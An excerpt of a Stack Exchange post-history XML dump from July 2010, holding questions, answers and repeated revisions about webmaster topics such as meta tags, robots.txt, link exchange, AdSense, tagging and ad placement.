  <row Id="1215" PostHistoryTypeId="2" PostId="665" RevisionGUID="e58f49a8-c2ea-4279-a95d-0d53ffe41d81" CreationDate="2010-07-11T04:32:49.467" UserId="133" Text="Actually, it looks like the tool I was looking for is not a map API, but the Google Visualization tool: http://code.google.com/apis/visualization/documentation/gallery/geomap.html" />
  <row Id="1216" PostHistoryTypeId="5" PostId="596" RevisionGUID="5fb5a6f8-203b-42b0-bf3a-a9df3550c6f4" CreationDate="2010-07-11T04:51:32.940" UserId="180" Comment="clarified advice based on stated use case" Text="Meta tags are used for many different purposes (such as [Dublin Core][1], [ICBM][2], [Open Graph Protocol][3], [Powder][4]) and generally have some  specific uses that are important to some sites.&#xD;&#xA;&#xD;&#xA;For SEO purposes and usability, you don't really need any metadata other than title, content-type, and description in your head section.&#xD;&#xA;&#xD;&#xA;As general advice, only implement a meta tag if you have a specific reason for doing so.  Want a Facebook Like button? Great, implement the Open Graph meta tags!  Don't like how Google caches your pages?  Add a [Googlebot noarchive][5] tag.  &#xD;&#xA;&#xD;&#xA;If you go ahead and implement tags without a clear understanding of why you are doing so, you are  increasing the size (and decreasing the performance) of your page without benefit, and increasing the risk of getting caught flat-footed if the tag causes an unexpected side-effect.&#xD;&#xA;&#xD;&#xA;There are many sites out there that list meta tag recommendations ([here's one example][6]) but these are generally not comprehensive and become less and less valuable over time as the web changes.&#xD;&#xA;&#xD;&#xA;  [1]: http://dublincore.org/&#xD;&#xA;  [2]: http://geourl.org/add.html&#xD;&#xA;  [3]: http://developers.facebook.com/docs/opengraph&#xD;&#xA;  [4]: http://www.w3.org/2007/powder/&#xD;&#xA;  [5]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=79812&#xD;&#xA;  [6]: http://www.webmarketingnow.com/tips/meta-tags-uncovered.html" />
  <row Id="1217" PostHistoryTypeId="5" PostId="620" RevisionGUID="62ce265e-d9d9-4a63-8acb-d65d63aebe5b" CreationDate="2010-07-11T08:40:00.317" UserDisplayName="delete" Comment="added 127 characters in body" Text="I see lots of &quot;Donate&quot; buttons on websites which are not donations to charity as such, but of the form &quot;Donate to this website in order to help keep the website running&quot; or &quot;If you like this website, please donate some money&quot;. For example, [Tineye][1] has &#xD;&#xA;&#xD;&#xA;&gt; Has TinEye been useful to you? If so, please donate!&#xD;&#xA;&#xD;&#xA;I confess that I have never donated to any. I also don't feel like my website is a worthy enough cause to display a begging bowl. Does anybody actually make money off their &quot;Donate&quot; buttons? Specifically I mean those sites where it says &quot;Please donate some money to the author if you like this website&quot; rather than &quot;Please donate to a worthy cause&quot; (e.g. Red Cross, Unicef etc.)&#xD;&#xA;&#xD;&#xA;Hard data please!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tineye.com/about" />
  <row Id="1218" PostHistoryTypeId="5" PostId="472" RevisionGUID="376d1b63-15a1-4e16-9c7d-41ef1aca979b" CreationDate="2010-07-11T11:20:12.583" UserId="180" Comment="added 1 characters in body" Text="Lack of a robots.txt file will not be harmful.  From the &lt;a href=&quot;http://www.robotstxt.org/robotstxt.html&quot;&gt;robotstxt.org website&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; To allow all robots complete access&#xD;&#xA;&gt;&#xD;&#xA;&gt;   User-agent: *  &#xD;&#xA;&gt;   Disallow:  &#xD;&#xA;&gt;&#xD;&#xA;&gt; (or just create an empty &quot;/robots.txt&quot; file, or don't use one at all)&#xD;&#xA;&#xD;&#xA;However, even if you are not specifying anything in your robots.txt file, it is a good way of &lt;a href=&quot;http://www.sitemaps.org/protocol.php#informing&quot;&gt;informing search engines of the location of your XML Sitemap&lt;/a&gt;. You can do this by adding a line at the top of your robots.txt file that looks something like:&#xD;&#xA;&#xD;&#xA;&gt; Sitemap: http://www.example.com/sitemap-host1.xml&#xD;&#xA;" />
  <row Id="1219" PostHistoryTypeId="2" PostId="666" RevisionGUID="bfa27eda-8ec3-4456-93f0-bce86fefc790" CreationDate="2010-07-11T12:29:11.593" UserId="23" Text="I'm going to open a question-answer web site however I was unable to find a good domain name. And it is non-English, by the way. So, I thought to have a theme; goats, kinda goatasks. And there will be goat logo with &quot;waving&quot; tail, and after you ask a question you will hear goat sound. Do you think that it is a good idea?" />
  <row Id="1220" PostHistoryTypeId="1" PostId="666" RevisionGUID="bfa27eda-8ec3-4456-93f0-bce86fefc790" CreationDate="2010-07-11T12:29:11.593" UserId="23" Text="Do you think that Goat theme is good for a qa site?" />
  <row Id="1221" PostHistoryTypeId="3" PostId="666" RevisionGUID="bfa27eda-8ec3-4456-93f0-bce86fefc790" CreationDate="2010-07-11T12:29:11.593" UserId="23" Text="&lt;theme&gt;&lt;website&gt;" />
  <row Id="1222" PostHistoryTypeId="2" PostId="667" RevisionGUID="e9f4d92f-09ed-4217-88da-835feda62426" CreationDate="2010-07-11T13:29:11.413" UserDisplayName="delete" Text="No, I'd go with &quot;bananas&quot;. &quot;Ask a banana&quot;. &quot;Ask a goat&quot; sounds silly, as if goats could talk and answer questions.&#xD;&#xA;" />
  <row Id="1223" PostHistoryTypeId="16" PostId="667" RevisionGUID="e9f4d92f-09ed-4217-88da-835feda62426" CreationDate="2010-07-11T13:29:11.413" UserDisplayName="delete" />
  <row Id="1224" PostHistoryTypeId="2" PostId="668" RevisionGUID="0e2b2032-8e13-413a-b5d3-a699a31840c8" CreationDate="2010-07-11T14:17:17.913" UserId="227" Text="I don't think it's a good idea to send them to Amazon as they might find a cheaper merchant or even an item with better comments.&#xD;&#xA;&#xD;&#xA;Using PayPal for payment and a cart that integrates fully into your website should be preferable in my eyes." />
  <row Id="1225" PostHistoryTypeId="2" PostId="669" RevisionGUID="dbd1219e-3380-431a-9581-8d2f729349ea" CreationDate="2010-07-11T14:28:59.617" UserId="227" Text="Using a preview for the general design is good, but don't forget to test the behaviour of your site as well. This is especially usefull if your using a lot of hover, ajax or java-script effects, which you can't see on a picture.&#xD;&#xA;&#xD;&#xA;I use VmWare with different virtual machines with the most important browsers installed seperately.&#xD;&#xA;&#xD;&#xA;If you're using Windows 7 Ultimate I can refer you to [a tutorial with Virtual PC and Xp Mode, which is a solution for running different IE versions on one host][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.donavon.com/2009/08/run-ie6-ie7-and-ie8-side-by-side-on.html" />
  <row Id="1227" PostHistoryTypeId="2" PostId="670" RevisionGUID="96cb6d7c-6dad-42be-8df6-e02eb7241b25" CreationDate="2010-07-11T14:41:48.947" UserId="55" Text="Most of my sites cater to very technical people who are ***very*** sensitive when it comes to how I use pixels on their screen. Additionally, many of my sites discuss the world of free and open source software. That's a tough crowd, here's some advice:&#xD;&#xA;&#xD;&#xA;**Reward the behavior that you want**&#xD;&#xA;&#xD;&#xA;On most of my sites, simply leaving 3 comments that add something to the conversation will result in reduced advertising. This includes banners and text links. Give people some productive means to see less ads.&#xD;&#xA;&#xD;&#xA;My text link ads are not at all generated by JS. They work no matter what. Additionally, I've gotten rather clever with using background images in containers with ordinary text links for someone who finds the ad interesting to 'follow through'. With or without blockers, you're going to see some ads.&#xD;&#xA;&#xD;&#xA;The trick here is to make your content interesting and useful enough for people to tolerate them, while leaving them some means to make (most of) the ads go away. From my stats and analytics, I found that most people who actually click on them tend to come from Google searching for a particular question. They generally exit the site by clicking an ad.&#xD;&#xA;&#xD;&#xA;**Have more text than ads**&#xD;&#xA;&#xD;&#xA;If I see a page that has more advertisements on it than text, I usually just close it straight away. I have some sympathy, I also serve ads, but too much is too much. Additionally, I would put down a news paper that had more ads than text, this is not at all 'web' specific.&#xD;&#xA;&#xD;&#xA;**Place the ads strategically**&#xD;&#xA;&#xD;&#xA;Put ads in places where you either:&#xD;&#xA;&#xD;&#xA; - Are losing someone's attention&#xD;&#xA; - Have someone's undivided attention&#xD;&#xA;&#xD;&#xA;The second half of the page works well. I very rarely see clicks from ads placed on the top half of the page. YMMV, as I said, I am dealing with a very tough crowd :)&#xD;&#xA;&#xD;&#xA;**Run ads that your audience will actually be interested in seeing**&#xD;&#xA;&#xD;&#xA;My particular audience has no interest in getting a lower mortgage rate, creating a 'cartoon you' or proprietary software. However, they love gizmos, books and e-bay auctions where they can buy a piece of computer history. You have to work to understand your users and show them what they want to see.&#xD;&#xA;&#xD;&#xA;Additionally, run some ads that do some good. For instance, Stack Overflow does a great service to the open source community by advertising projects that might need some more developers and users.&#xD;&#xA;&#xD;&#xA;**Don't show ads to people that won't convert**&#xD;&#xA;&#xD;&#xA;Its a waste of bandwidth to show an ad for some company that only ships inside the continental US to a visitor in Iceland. This is one of the reasons why I avoid the big ad networks and retain complete control over what I display. I don't just happily take the money and put the ad into circulation, I research the advertiser and make sure they would be a good fit with my users. If you annoy your visitors, you get no traffic. If you get no traffic, you serve no ads.&#xD;&#xA;&#xD;&#xA;This is more than just geo-targeting, its strategy.&#xD;&#xA;&#xD;&#xA;**Engage your users**&#xD;&#xA;&#xD;&#xA;Give people a place to rant, make it easy for them to tell you what they love and what they don't like so much. When you hear from them, take action.&#xD;&#xA;&#xD;&#xA;Finally, like others have said, build something useful and explain that the only thing that pays the bills is advertisements. If you take the time to get to know your visitors, you'll find something that works.&#xD;&#xA;&#xD;&#xA;I would quickly close any page that tries to ***force*** me to do anything.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1228" PostHistoryTypeId="10" PostId="666" RevisionGUID="b5c9211f-7ac5-4620-8469-89ca5aff983a" CreationDate="2010-07-11T15:07:59.413" UserId="-1" CloseReasonId="7" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:59,&quot;DisplayName&quot;:&quot;Chris W. Rea&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:218,&quot;DisplayName&quot;:&quot;Gaby&quot;},{&quot;Id&quot;:219,&quot;DisplayName&quot;:&quot;Brian R. Bondy&quot;}]" />
  <row Id="1229" PostHistoryTypeId="2" PostId="671" RevisionGUID="52fd53b4-7f31-44c4-8c98-e826a40c0810" CreationDate="2010-07-11T15:14:58.037" UserId="219" Text="I have a programming blog and I was wondering if link exchange with other programming blogs (where I link to them and they link to me) is a good idea to improve my site's page rank.  &#xD;&#xA;&#xD;&#xA;I know in general it is desirable because it will increase my page views and reader base. &#xD;&#xA;&#xD;&#xA;Specifically my main page has a page rank of 4 and I'm wondering if I could ever reach a page rank 5 by doing a lot of link exchange for similar blogs around the same page rank? Or do the links cancel out the backlinks in terms of page rank?" />
  <row Id="1230" PostHistoryTypeId="1" PostId="671" RevisionGUID="52fd53b4-7f31-44c4-8c98-e826a40c0810" CreationDate="2010-07-11T15:14:58.037" UserId="219" Text="Will  link exchange with similar sites improve my page rank?" />
  <row Id="1231" PostHistoryTypeId="3" PostId="671" RevisionGUID="52fd53b4-7f31-44c4-8c98-e826a40c0810" CreationDate="2010-07-11T15:14:58.037" UserId="219" Text="&lt;seo&gt;&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="1232" PostHistoryTypeId="2" PostId="672" RevisionGUID="247c6141-1441-45ff-b3ef-2782e9a49818" CreationDate="2010-07-11T15:25:32.833" UserId="219" Text="Firstly there might not be a specific reason, it could just be due to random fluctuations/variance.  Perhaps you need a longer period of time, and more data (larger sample space) to do your comparisons.&#xD;&#xA;&#xD;&#xA;But assuming there is a specific reason for the traffic drop, try to analyze the data you have via your web stats (Google analytics or something similar).   If you don't have any you should consider getting one setup.&#xD;&#xA;&#xD;&#xA;Specifically look for if you used to have any traffic sources, or keywords that were brining in more traffic than now. You mentioned your traffic has remained constant, but perhaps some of your traffic sources that performed better are getting less hits compared to the others.&#xD;&#xA;&#xD;&#xA;Also you might want to check how targeted your ads are.  Perhaps some content that you posted recently is causing a less targeted ad.  It's common for non targeted ads for your audience to have a significant difference (even 100x difference) in performance.&#xD;&#xA;&#xD;&#xA;Google and other search engines can also tweak their search engines causing significant difference in traffic at any time, but you mentioned your traffic has remained constant." />
  <row Id="1233" PostHistoryTypeId="2" PostId="673" RevisionGUID="41045545-2d14-4df9-b14e-b75096add5a9" CreationDate="2010-07-11T15:26:00.040" UserId="55" Text="One way links in context are most desirable. For instance if a sentence read:&#xD;&#xA;&#xD;&#xA;Reading ***this programmer's*** take on the subject (where the italicized text is a link to your blog) is a lot better than a link in the sidebar. Sure, it may increase traffic .. but I don't think it will directly help your ranking. Remember that every new Wordpress blog, by default, links to Wordpress. Google realized this and made adjustments.&#xD;&#xA;&#xD;&#xA;For a programming blog, the best thing that I can recommend is to put a lot of thought into your posts and get them in Reddit. If what you write is interesting, others will naturally pick up on it.&#xD;&#xA;&#xD;&#xA;A few link trades really isn't going to help much. Keep in mind, you have ~100 links per page which you can spend. On a blog, that is quickly exhausted.&#xD;&#xA;&#xD;&#xA;The best way to get inbound links is to make sure people who might be interested in what you write will actually see your posts. The rest just happens naturally." />
  <row Id="1234" PostHistoryTypeId="2" PostId="674" RevisionGUID="2952a7a3-c88f-4f1a-b827-ec4f38e8ffb5" CreationDate="2010-07-11T15:38:02.133" UserId="55" Text="I make valid HTML documents that are also semantically correct. I try to use all tags as they were intended and this has yielded good results as far as my placement in Google and other search engines.&#xD;&#xA;&#xD;&#xA;What I've been doing for the last few years is using Google Adsense as a sort of barometer to ascertain how well Google understands my content. Normally, I place one Google ad at the bottom of the page and wait for it to change. If the ad reflects the topic of my site and the text on any given page, I assume that I've done my job well and just remove the ad.&#xD;&#xA;&#xD;&#xA;I'm wondering, does anyone else use this strategy .. and has it also worked for you? I realize that my ranking depends on many factors, but making sure the crawler could understand my pages seemed like the first battle to win." />
  <row Id="1235" PostHistoryTypeId="1" PostId="674" RevisionGUID="2952a7a3-c88f-4f1a-b827-ec4f38e8ffb5" CreationDate="2010-07-11T15:38:02.133" UserId="55" Text="Using Adsense as a SEO tool - does the adsense bot have the same understanding as the normal web crawler?" />
  <row Id="1236" PostHistoryTypeId="3" PostId="674" RevisionGUID="2952a7a3-c88f-4f1a-b827-ec4f38e8ffb5" CreationDate="2010-07-11T15:38:02.133" UserId="55" Text="&lt;seo&gt;&lt;google-adsense&gt;&lt;subjective&gt;&lt;poll&gt;" />
  <row Id="1237" PostHistoryTypeId="16" PostId="674" RevisionGUID="2952a7a3-c88f-4f1a-b827-ec4f38e8ffb5" CreationDate="2010-07-11T15:38:02.133" UserId="55" />
  <row Id="1238" PostHistoryTypeId="5" PostId="674" RevisionGUID="1a6fd81c-84cf-40df-97d7-558ee061f4fe" CreationDate="2010-07-11T15:44:38.063" UserId="55" Comment="added 59 characters in body; added 3 characters in body" Text="I make valid (X)HTML documents that are also semantically correct. I try to use all tags as they were intended and this has yielded good results as far as my placement in Google and other search engines.&#xD;&#xA;&#xD;&#xA;What I've been doing for the last few years is using Google Adsense as a sort of barometer to ascertain how well Google understands my content. Normally, I place one Google ad at the bottom of the page and wait for it to change. If the ad reflects the topic of my site and the text on any given page, I assume that I've done my job well and just remove the ad.&#xD;&#xA;&#xD;&#xA;I'm wondering, does anyone else use this strategy .. and has it also worked for you? I realize that my ranking depends on many factors, but making sure the crawler could understand my pages seemed like the first battle to win.&#xD;&#xA;&#xD;&#xA;Am I just throwing salt over my shoulder by doing this?" />
  <row Id="1239" PostHistoryTypeId="2" PostId="675" RevisionGUID="b9a14581-9bfb-4d9f-be8d-8b6ed4d8fa0a" CreationDate="2010-07-11T15:54:10.247" UserId="219" Text="I was thinking about implementing a tagging system for my blog to attach one to five tags to each blog post. &#xD;&#xA;&#xD;&#xA;Are there any tricks to help search engines identify that these are tags though and that they should use this information to help determine what the blog post is about?&#xD;&#xA;&#xD;&#xA;Or is tagging completely ignored and not given any extra weight from other text on your web page to a search engine? " />
  <row Id="1240" PostHistoryTypeId="1" PostId="675" RevisionGUID="b9a14581-9bfb-4d9f-be8d-8b6ed4d8fa0a" CreationDate="2010-07-11T15:54:10.247" UserId="219" Text="Helping search engines identify what a blog post is about via tags" />
  <row Id="1241" PostHistoryTypeId="3" PostId="675" RevisionGUID="b9a14581-9bfb-4d9f-be8d-8b6ed4d8fa0a" CreationDate="2010-07-11T15:54:10.247" UserId="219" Text="&lt;seo&gt;&lt;tags&gt;" />
  <row Id="1242" PostHistoryTypeId="2" PostId="676" RevisionGUID="050090c4-c3c9-4913-adee-b2373475fa95" CreationDate="2010-07-11T16:07:45.277" UserId="55" Text="I've found that strategic use of nofollow links helps here. For instance, tags at the bottom of the post should not be followed, but the link to the page that shows all posts in that tag should be. Then create a 'tags' page that leads to those pages. Additionally, use nofollow links in your tag cloud, should you have one.&#xD;&#xA;&#xD;&#xA;What you need to be careful of is not duplicating this with category / archive links. If tags are the way to find your posts, use tags strictly.&#xD;&#xA;&#xD;&#xA;Also, keep in mind, the goal is ~100 links or less on any given page. That's sometimes impossible, especially with a blog .. but less is more regardless when it comes to links." />
  <row Id="1243" PostHistoryTypeId="2" PostId="677" RevisionGUID="8712e882-3789-4bd0-b40e-63036cec1c97" CreationDate="2010-07-11T16:08:26.960" UserId="225" Text="Google Analytics does not collect any personally identifiable information and it [breaks their terms of use][1] to modify the code to do that. &#xD;&#xA;&#xD;&#xA;Google have always recommended putting their code at the bottom of the page specifically so that downloading the script doesn't hold up the page loading and display. They've also recently introduced [asynchronous tracking code][2] which should pretty much eliminate these kind of problems.  &#xD;&#xA;&#xD;&#xA;As mentioned elsewhere, web analytics is not about absolute numbers but about making useful comparisons (leading to actionable insights) so unless you think your audience is predominantly made up of Google/Javascript blockers, it won't prevent you getting useful insights.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cutroni.com/blog/2007/06/26/understanding-the-google-analytics-terms-of-service/&#xD;&#xA;  [2]: http://www.google.com/support/googleanalytics/bin/answer.py?answer=161379" />
  <row Id="1244" PostHistoryTypeId="2" PostId="678" RevisionGUID="e6c4bdfd-249a-4d30-a6f6-e5a5d5d5c26e" CreationDate="2010-07-11T16:32:15.270" UserId="55" Text="I *strongly* recommend comparing the output of any analytics service to your server side stats. More often than not, you'll find that they don't agree. This is mostly (as you said) due to people blocking JS, or just outright sending GA requests to localhost.&#xD;&#xA;&#xD;&#xA;As far as the legal ramifications, I can only offer this advice:&#xD;&#xA;&#xD;&#xA;&gt; When in doubt, ***don't***.&#xD;&#xA;&#xD;&#xA;You really need to discuss this with an attorney, who can:&#xD;&#xA;&#xD;&#xA; - Advise against it&#xD;&#xA; - Help you write a privacy policy&#xD;&#xA;&#xD;&#xA;Its a unique enough issue to raise here, but you should really seek legal advice from legal professionals :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1245" PostHistoryTypeId="5" PostId="670" RevisionGUID="76604a0b-8af0-4e4f-89e5-f2259cd6f795" CreationDate="2010-07-11T16:46:16.877" UserId="55" Comment="added 397 characters in body" Text="Most of my sites cater to very technical people who are ***very*** sensitive when it comes to how I use pixels on their screen. Additionally, many of my sites discuss the world of free and open source software. That's a tough crowd, here's some advice:&#xD;&#xA;&#xD;&#xA;**Reward the behavior that you want**&#xD;&#xA;&#xD;&#xA;On most of my sites, simply leaving 3 comments that add something to the conversation will result in reduced advertising. This includes banners and text links. Give people some productive means to see less ads.&#xD;&#xA;&#xD;&#xA;My text link ads are not at all generated by JS. They work no matter what. Additionally, I've gotten rather clever with using background images in containers with ordinary text links for someone who finds the ad interesting to 'follow through'. With or without blockers, you're going to see some ads.&#xD;&#xA;&#xD;&#xA;The trick here is to make your content interesting and useful enough for people to tolerate them, while leaving them some means to make (most of) the ads go away. From my stats and analytics, I found that most people who actually click on them tend to come from Google searching for a particular question. They generally exit the site by clicking an ad.&#xD;&#xA;&#xD;&#xA;In most cases, your regular users aren't the ones you want to target. I've got 11k+ rep on SO, I may click on an ad every few months just to see how an interesting product crafted their user interface. However, I don't block the ads, I don't find them annoying enough to go through the trouble of blocking them. Besides, they also use their ad space for great causes, which I'll discuss later.&#xD;&#xA;&#xD;&#xA;**Have more text than ads**&#xD;&#xA;&#xD;&#xA;If I see a page that has more advertisements on it than text, I usually just close it straight away. I have some sympathy, I also serve ads, but too much is too much. Additionally, I would put down a news paper that had more ads than text, this is not at all 'web' specific.&#xD;&#xA;&#xD;&#xA;**Place the ads strategically**&#xD;&#xA;&#xD;&#xA;Put ads in places where you either:&#xD;&#xA;&#xD;&#xA; - Are losing someone's attention&#xD;&#xA; - Have someone's undivided attention&#xD;&#xA;&#xD;&#xA;The second half of the page works well. I very rarely see clicks from ads placed on the top half of the page. YMMV, as I said, I am dealing with a very tough crowd :)&#xD;&#xA;&#xD;&#xA;**Run ads that your audience will actually be interested in seeing**&#xD;&#xA;&#xD;&#xA;My particular audience has no interest in getting a lower mortgage rate, creating a 'cartoon you' or proprietary software. However, they love gizmos, books and e-bay auctions where they can buy a piece of computer history. You have to work to understand your users and show them what they want to see.&#xD;&#xA;&#xD;&#xA;Additionally, run some ads that do some good. For instance, Stack Overflow does a great service to the open source community by advertising projects that might need some more developers and users.&#xD;&#xA;&#xD;&#xA;**Don't show ads to people that won't convert**&#xD;&#xA;&#xD;&#xA;Its a waste of bandwidth to show an ad for some company that only ships inside the continental US to a visitor in Iceland. This is one of the reasons why I avoid the big ad networks and retain complete control over what I display. I don't just happily take the money and put the ad into circulation, I research the advertiser and make sure they would be a good fit with my users. If you annoy your visitors, you get no traffic. If you get no traffic, you serve no ads.&#xD;&#xA;&#xD;&#xA;This is more than just geo-targeting, its strategy.&#xD;&#xA;&#xD;&#xA;**Engage your users**&#xD;&#xA;&#xD;&#xA;Give people a place to rant, make it easy for them to tell you what they love and what they don't like so much. When you hear from them, take action.&#xD;&#xA;&#xD;&#xA;Finally, like others have said, build something useful and explain that the only thing that pays the bills is advertisements. If you take the time to get to know your visitors, you'll find something that works.&#xD;&#xA;&#xD;&#xA;I would quickly close any page that tries to ***force*** me to do anything.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1246" PostHistoryTypeId="5" PostId="670" RevisionGUID="f2a2112f-53ea-448b-83b4-3dfe3b6d08ce" CreationDate="2010-07-11T17:11:04.267" UserId="55" Comment="added 73 characters in body" Text="Most of my sites cater to very technical people who are ***very*** sensitive when it comes to how I use pixels on their screen. Additionally, many of my sites discuss the world of free and open source software. That's a tough crowd, here's some advice:&#xD;&#xA;&#xD;&#xA;**Reward the behavior that you want**&#xD;&#xA;&#xD;&#xA;On most of my sites, simply leaving 3 comments that add something to the conversation will result in reduced advertising. This includes banners and text links. Give people some productive means to see less ads.&#xD;&#xA;&#xD;&#xA;My text link ads are not at all generated by JS. They work no matter what. Additionally, I've gotten rather clever with using background images in containers with ordinary text links for someone who finds the ad interesting to 'follow through'. With or without blockers, you're going to see some ads.&#xD;&#xA;&#xD;&#xA;The trick here is to make your content interesting and useful enough for people to tolerate them, while leaving them some means to make (most of) the ads go away. From my stats and analytics, I found that most people who actually click on them tend to come from Google searching for a particular question. They generally exit the site by clicking an ad.&#xD;&#xA;&#xD;&#xA;In most cases, your regular users aren't the ones you want to target. I've got 11k+ rep on SO, I may click on an ad every few months just to see how an interesting product crafted their user interface. However, I don't block the ads, I don't find them annoying enough to go through the trouble of blocking them. Besides, they also use their ad space for great causes, which I'll discuss later.&#xD;&#xA;&#xD;&#xA;**Have more text than ads**&#xD;&#xA;&#xD;&#xA;If I see a page that has more advertisements on it than text, I usually just close it straight away. I have some sympathy, I also serve ads, but too much is too much. Additionally, I would put down a news paper that had more ads than text, this is not at all 'web' specific.&#xD;&#xA;&#xD;&#xA;**Place the ads strategically**&#xD;&#xA;&#xD;&#xA;Put ads in places where you either:&#xD;&#xA;&#xD;&#xA; - Are losing someone's attention&#xD;&#xA; - Have someone's undivided attention&#xD;&#xA;&#xD;&#xA;The second half of the page works well. I very rarely see clicks from ads placed on the top half of the page. YMMV, as I said, I am dealing with a very tough crowd :)&#xD;&#xA;&#xD;&#xA;**Run ads that your audience will actually be interested in seeing**&#xD;&#xA;&#xD;&#xA;My particular audience has no interest in getting a lower mortgage rate, creating a 'cartoon you' or proprietary software. However, they love gizmos, books and e-bay auctions where they can buy a piece of computer history. You have to work to understand your users and show them what they want to see.&#xD;&#xA;&#xD;&#xA;Additionally, run some ads that do some good. For instance, Stack Overflow does a great service to the open source community by advertising projects that might need some more developers and users. That's one of the biggest reasons why I don't bother blocking ads on SO.&#xD;&#xA;&#xD;&#xA;**Don't show ads to people that won't convert**&#xD;&#xA;&#xD;&#xA;Its a waste of bandwidth to show an ad for some company that only ships inside the continental US to a visitor in Iceland. This is one of the reasons why I avoid the big ad networks and retain complete control over what I display. I don't just happily take the money and put the ad into circulation, I research the advertiser and make sure they would be a good fit with my users. If you annoy your visitors, you get no traffic. If you get no traffic, you serve no ads.&#xD;&#xA;&#xD;&#xA;This is more than just geo-targeting, its strategy.&#xD;&#xA;&#xD;&#xA;**Engage your users**&#xD;&#xA;&#xD;&#xA;Give people a place to rant, make it easy for them to tell you what they love and what they don't like so much. When you hear from them, take action.&#xD;&#xA;&#xD;&#xA;Finally, like others have said, build something useful and explain that the only thing that pays the bills is advertisements. If you take the time to get to know your visitors, you'll find something that works.&#xD;&#xA;&#xD;&#xA;I would quickly close any page that tries to ***force*** me to do anything.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1247" PostHistoryTypeId="5" PostId="670" RevisionGUID="3da9efad-4314-4c8e-adf9-a7ce96bd018e" CreationDate="2010-07-11T17:57:54.667" UserId="55" Comment="added 91 characters in body" Text="Most of my sites cater to very technical people who are ***very*** sensitive when it comes to how I use pixels on their screen. Additionally, many of my sites discuss the world of free and open source software. That's a tough crowd, here's some advice:&#xD;&#xA;&#xD;&#xA;**Reward the behavior that you want**&#xD;&#xA;&#xD;&#xA;On most of my sites, simply leaving 3 comments that add something to the conversation will result in reduced advertising. This includes banners and text links. Give people some productive means to see less ads.&#xD;&#xA;&#xD;&#xA;My text link ads are not at all generated by JS. They work no matter what. Additionally, I've gotten rather clever with using background images in containers with ordinary text links for someone who finds the ad interesting to 'follow through'. With or without blockers, you're going to see some ads.&#xD;&#xA;&#xD;&#xA;The trick here is to make your content interesting and useful enough for people to tolerate them, while leaving them some means to make (most of) the ads go away. From my stats and analytics, I found that most people who actually click on them tend to come from Google searching for a particular question. They generally exit the site by clicking an ad.&#xD;&#xA;&#xD;&#xA;In most cases, your regular users aren't the ones you want to target. I've got 11k+ rep on SO, I may click on an ad every few months just to see how an interesting product crafted their user interface. However, I don't block the ads, I don't find them annoying enough to go through the trouble of blocking them. Besides, they also use their ad space for great causes, which I'll discuss later.&#xD;&#xA;&#xD;&#xA;**Have more text than ads**&#xD;&#xA;&#xD;&#xA;If I see a page that has more advertisements on it than text, I usually just close it straight away. I have some sympathy, I also serve ads, but too much is too much. Additionally, I would put down a news paper that had more ads than text, this is not at all 'web' specific.&#xD;&#xA;&#xD;&#xA;**Place the ads strategically**&#xD;&#xA;&#xD;&#xA;Put ads in places where you either:&#xD;&#xA;&#xD;&#xA; - Are losing someone's attention&#xD;&#xA; - Have someone's undivided attention&#xD;&#xA;&#xD;&#xA;The second half of the page works well. I very rarely see clicks from ads placed on the top half of the page. YMMV, as I said, I am dealing with a very tough crowd :)&#xD;&#xA;&#xD;&#xA;**Run ads that your audience will actually be interested in seeing**&#xD;&#xA;&#xD;&#xA;My particular audience has no interest in getting a lower mortgage rate, creating a 'cartoon you' or proprietary software. However, they love gizmos, books and e-bay auctions where they can buy a piece of computer history. You have to work to understand your users and show them what they want to see.&#xD;&#xA;&#xD;&#xA;Additionally, run some ads that do some good. For instance, Stack Overflow does a great service to the open source community by advertising projects that might need some more developers and users. That's one of the biggest reasons why I don't bother blocking ads on SO.&#xD;&#xA;&#xD;&#xA;**Don't show ads to people that won't convert**&#xD;&#xA;&#xD;&#xA;Its a waste of bandwidth to show an ad for some company that only ships inside the continental US to a visitor in Iceland, even on Fridays (you did do something to understand your visitor's browsing habits, yes?). This is one of the reasons why I avoid the big ad networks and retain complete control over what I display. I don't just happily take the money and put the ad into circulation, I research the advertiser and make sure they would be a good fit with my users. If you annoy your visitors, you get no traffic. If you get no traffic, you serve no ads.&#xD;&#xA;&#xD;&#xA;This is more than just geo-targeting, its strategy.&#xD;&#xA;&#xD;&#xA;**Engage your users**&#xD;&#xA;&#xD;&#xA;Give people a place to rant, make it easy for them to tell you what they love and what they don't like so much. When you hear from them, take action.&#xD;&#xA;&#xD;&#xA;Finally, like others have said, build something useful and explain that the only thing that pays the bills is advertisements. If you take the time to get to know your visitors, you'll find something that works.&#xD;&#xA;&#xD;&#xA;I would quickly close any page that tries to ***force*** me to do anything.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1248" PostHistoryTypeId="5" PostId="670" RevisionGUID="15afaafc-abff-4064-a9fa-4802091a7683" CreationDate="2010-07-11T18:05:40.080" UserId="55" Comment="added 124 characters in body" Text="Most of my sites cater to very technical people who are ***very*** sensitive when it comes to how I use pixels on their screen. Additionally, many of my sites discuss the world of free and open source software. That's a tough crowd, here's some advice:&#xD;&#xA;&#xD;&#xA;**Reward the behavior that you want**&#xD;&#xA;&#xD;&#xA;On most of my sites, simply leaving 3 comments that add something to the conversation will result in reduced advertising. This includes banners and text links. Give people some productive means to see less ads.&#xD;&#xA;&#xD;&#xA;My text link ads are not at all generated by JS. They work no matter what. Additionally, I've gotten rather clever with using background images in containers with ordinary text links for someone who finds the ad interesting to 'follow through'. With or without blockers, you're going to see some ads.&#xD;&#xA;&#xD;&#xA;The trick here is to make your content interesting and useful enough for people to tolerate them, while leaving them some means to make (most of) the ads go away. From my stats and analytics, I found that most people who actually click on them tend to come from Google searching for a particular question. They generally exit the site by clicking an ad.&#xD;&#xA;&#xD;&#xA;In most cases, your regular users aren't the ones you want to target. I've got 11k+ rep on SO, I may click on an ad every few months just to see how an interesting product crafted their user 